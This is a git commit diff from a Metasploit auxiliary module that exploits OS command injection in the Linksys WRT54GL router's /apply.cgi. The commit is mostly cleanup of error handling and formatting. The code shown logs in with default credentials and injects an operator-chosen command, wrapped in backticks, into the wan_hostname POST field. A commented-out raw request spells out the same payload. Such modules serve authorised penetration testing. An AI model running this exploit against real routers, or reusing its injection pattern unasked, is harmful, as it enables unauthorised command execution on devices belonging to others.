cleanup for linksys_wrt54gl_exec
parent
816bc79d9d
commit
1fc747994e
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
|
||||
[ 'EDB', '24202' ],
|
||||
[ 'BID', '57459' ],
|
||||
[ 'OSVDB', '89421' ],
|
||||
[ 'OSVDB', '89421' ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 18 2013'))
|
||||
|
@ -47,13 +47,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']),
|
||||
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
|
||||
OptString.new('PASSWORD',[ false, 'Password to login with', 'password']),
|
||||
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
|
||||
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
|
||||
OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']),
|
||||
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
|
||||
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
|
||||
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']),
|
||||
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -75,8 +75,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ip = rhost.split('.')
|
||||
end
|
||||
|
||||
# not sure if this is a good way for blank passwords:
|
||||
if datastore['PASSWORD'] == "<BLANK>"
|
||||
if datastore['PASSWORD'].nil?
|
||||
pass = ""
|
||||
else
|
||||
pass = datastore['PASSWORD']
|
||||
|
@ -93,9 +92,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
unless (res.kind_of? Rex::Proto::Http::Response)
|
||||
vprint_error("#{rhost} not responding")
|
||||
return :abort
|
||||
end
|
||||
|
||||
return :abort if (res.code == 404)
|
||||
if (res.code == 404)
|
||||
print_error("Not Found page returned")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if [200, 301, 302].include?(res.code)
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
@ -109,28 +112,31 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :abort
|
||||
end
|
||||
|
||||
print_status("Sending remote command: " + datastore['CMD'])
|
||||
|
||||
# cmd = Rex::Text.uri_encode(datastore['CMD'])
|
||||
cmd = datastore['CMD']
|
||||
|
||||
#original Post Request:
|
||||
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
|
||||
print_status("Sending remote command: " + cmd)
|
||||
|
||||
if datastore['VERBOSE'] == true
|
||||
print_line("using the following target URL: \n#{uri}")
|
||||
end
|
||||
#cmd = Rex::Text.uri_encode(datastore['CMD'])
|
||||
#original Post Request:
|
||||
#data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
|
||||
#data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
|
||||
#data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
|
||||
#data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
|
||||
#data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
|
||||
#data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
|
||||
#data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
|
||||
#data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
|
||||
|
||||
vprint_status("using the following target URL: #{uri}")
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'basic_auth' => "#{pass}:#{pass}",
|
||||
#'data' => data_cmd,
|
||||
|
||||
'vars_post' =>
|
||||
{
|
||||
'vars_post' => {
|
||||
'submit_button' => "index",
|
||||
'change_action' => "1",
|
||||
'submit_type' => "1",
|
||||
|
@ -177,15 +183,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'wan_wins_3' => "0",
|
||||
'time_zone' => "-08+1+1",
|
||||
'_daylight_time' => '1'
|
||||
},
|
||||
}
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost} - Failed to connect to the web server")
|
||||
return :abort
|
||||
end
|
||||
print_line("")
|
||||
|
||||
if res and res.code == 200
|
||||
print_status("Blind Exploitation - Response expected")
|
||||
else
|
||||
print_error("Blind Exploitation - Response don't expected")
|
||||
end
|
||||
print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed")
|
||||
print_status("Blind Exploitation - unknown Exploitation state\n")
|
||||
print_status("Blind Exploitation - unknown Exploitation state")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue